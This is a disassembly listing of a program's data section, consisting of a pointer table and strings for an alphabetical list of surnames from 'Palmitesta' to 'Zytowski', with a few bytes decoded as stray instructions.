aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- and ah, ch inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC09 ; --------------------------------------------------------------------------- align 4 dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o aZoldak db 'Zoldak',0 align 4 dd 6272655Ah db 69h ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: ___:0042EBC5j outsb imul eax, [eax], 6167655Ah outsb jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC83h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o aStott db 'Stott',0 ; DATA XREF: ___:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o aShia db 'Shia',0 ; DATA XREF: ___:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co aSen db 'Sen',0 ; DATA XREF: ___:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 